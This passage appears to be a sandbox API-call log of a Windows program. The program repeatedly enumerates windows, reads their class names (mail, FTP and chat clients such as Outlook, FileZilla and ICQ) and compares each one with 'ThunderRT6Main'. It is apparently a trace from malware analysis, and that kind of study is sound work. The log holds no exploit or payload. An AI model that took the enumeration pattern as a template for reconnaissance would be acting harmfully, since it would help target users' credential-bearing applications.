GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0145.205] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0145.205] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0145.205] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0145.205] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0145.205] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.205] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0145.206] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0145.206] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0145.206] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0145.206] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0145.206] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0145.206] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.206] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0145.206] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0145.206] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0145.206] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0145.206] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0145.206] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0145.206] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.206] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0145.206] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0145.206] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0145.206] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0145.206] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0145.206] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0145.206] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.206] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0145.206] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0145.206] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0145.206] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0145.206] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0145.206] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0145.206] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.206] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0145.206] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0145.207] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0145.207] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0145.207] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0145.207] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0145.207] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.207] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0145.207] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0145.207] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0145.207] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0145.207] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0145.207] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0145.207] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.207] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0145.207] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0145.207] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0145.207] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0145.207] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0145.207] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0145.207] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.207] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0145.207] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0145.207] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0145.207] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0145.207] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0145.207] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0145.207] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.207] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0145.207] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0145.208] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0145.208] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0145.208] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0145.208] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0145.208] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.208] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.208] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0145.208] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0145.208] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0145.208] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0145.208] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0145.208] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0145.208] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.208] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.208] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0145.208] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0145.208] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0145.208] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0145.208] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0145.208] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0145.208] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.208] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.208] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0145.208] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0145.208] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0145.208] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0145.208] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0145.208] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0145.208] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.208] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.208] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0145.208] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0145.209] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0145.209] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0145.209] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0145.209] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0145.209] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.209] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.209] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0145.209] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0145.209] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0145.209] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0145.209] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0145.209] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0145.209] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.209] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.209] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0145.209] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0145.209] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0145.209] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0145.209] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0145.209] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0145.209] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.209] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.209] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0145.209] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0145.209] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0145.209] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0145.209] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0145.209] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0145.209] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.209] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.209] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0145.209] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0145.209] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0145.210] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0145.210] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0145.210] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0145.210] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.210] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.210] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0145.210] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0145.210] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0145.210] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0145.210] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0145.210] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0145.210] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.210] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.210] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0145.210] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0145.210] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0145.210] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0145.210] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0145.210] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0145.210] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.210] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.210] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0145.210] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0145.210] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0145.210] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0145.210] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0145.210] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0145.210] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.210] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.210] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0145.210] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0145.210] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0145.210] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0145.211] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0145.211] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0145.211] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.214] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.214] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0145.214] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0145.214] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0145.214] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0145.214] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0145.214] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0145.214] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.214] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.214] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0145.214] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0145.214] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0145.214] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0145.214] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0145.214] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0145.214] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.214] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.214] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0145.214] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0145.214] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0145.214] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0145.214] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0145.214] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0145.214] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.214] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.214] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0145.214] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0145.214] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0145.214] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0145.214] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0145.215] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0145.215] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.215] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.215] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0145.215] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0145.215] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0145.215] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0145.215] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0145.215] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0145.215] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.215] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.215] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0145.215] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0145.215] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0145.215] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0145.215] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0145.215] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0145.215] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.215] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.215] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0145.215] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0145.215] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0145.215] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0145.215] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0145.215] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0145.215] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.215] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.215] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0145.215] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0145.215] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0145.215] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0145.215] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0145.216] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0145.216] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.216] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.216] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0145.216] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0145.216] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0145.216] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0145.216] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0145.216] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0145.216] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.216] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.216] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0145.216] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0145.216] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0145.216] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0145.216] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0145.216] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0145.216] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.216] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.216] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0145.216] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0145.216] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0145.216] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0145.216] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0145.216] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0145.216] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.216] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.216] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0145.216] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0145.216] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0145.216] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0145.216] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0145.217] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0145.217] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 